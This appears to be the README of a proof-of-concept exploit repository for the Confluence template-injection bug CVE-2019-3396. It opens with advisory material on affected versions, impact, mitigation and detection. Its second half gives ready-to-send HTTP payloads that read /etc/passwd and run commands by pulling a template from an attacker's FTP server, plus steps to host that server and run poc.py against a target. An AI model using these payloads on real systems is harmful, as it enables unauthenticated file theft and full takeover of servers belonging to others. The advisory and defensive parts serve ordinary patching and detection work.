CVE-2019-3396

CVE-2019-3396 confluence SSTI RCE

🔎 What is CVE-2019-3396?

• A critical Confluence bug (Atlassian).
• Type: Template Injection + Path Traversal.
• Risk: Remote Code Execution (RCE) without login.
• Status: Exploited in the wild.

🛑 Affected Versions

• 6.6.0 → 6.6.11 ❌ vulnerable
• 6.6.12 ✅ fixed
• 6.12.0 → 6.12.2 ❌ vulnerable
• 6.12.3 ✅ fixed
• 6.13.0 → 6.13.2 ❌ vulnerable
• 6.13.3 ✅ fixed
• 6.14.0 → 6.14.1 ❌ vulnerable
• 6.14.2 ✅ fixed

👉 Always check Atlassian’s official advisory for full details.

💥 Impact

• Full server takeover
• Data theft, ransomware, crypto-miners
• Attackers can run any code they want

🔐 Mitigation

• ✅ Upgrade to patched Confluence version (best fix)
• 🚫 Disable Widget Connector macro if you can’t patch right away
• 🔒 Limit access (internal only until fixed)

👀 Detection (safe tips)

• Watch logs for strange requests hitting macro/preview endpoints
• Look for weird processes or outbound traffic
• Use vulnerability scanners to confirm version

📂 Read File

POST /rest/tinymce/1/macro/preview HTTP/2
Host: {***}

{"macro":{"params":{"_template":"file:///etc/passwd"}}}

Execute Command

POST /rest/tinymce/1/macro/preview HTTP/2
Host: ***

{"contentId":"1","macro":{"name":"widget","params":{"_template":"ftp://***:8888/cmd.vm","command":"id"},"body":""}}

Automation

• upload cmd.vm on your vps
• use ftp or https for create likn to this cmd.vm file via

pip install pyftpdlib
python -m pyftpdlib -p  8888

• update file poc.py with new value for pyftp = "ftp://10.100.10.100:8888/cmd.vm"

python poc.py <url> <cmd>
python poc.py https://ip:port  "id"

⚠️ TIP — this repo is only for education, defense, and awareness.

🔗 References

• Atlassian Advisory 🏢
• NVD Entry for CVE-2019-3396 🛡️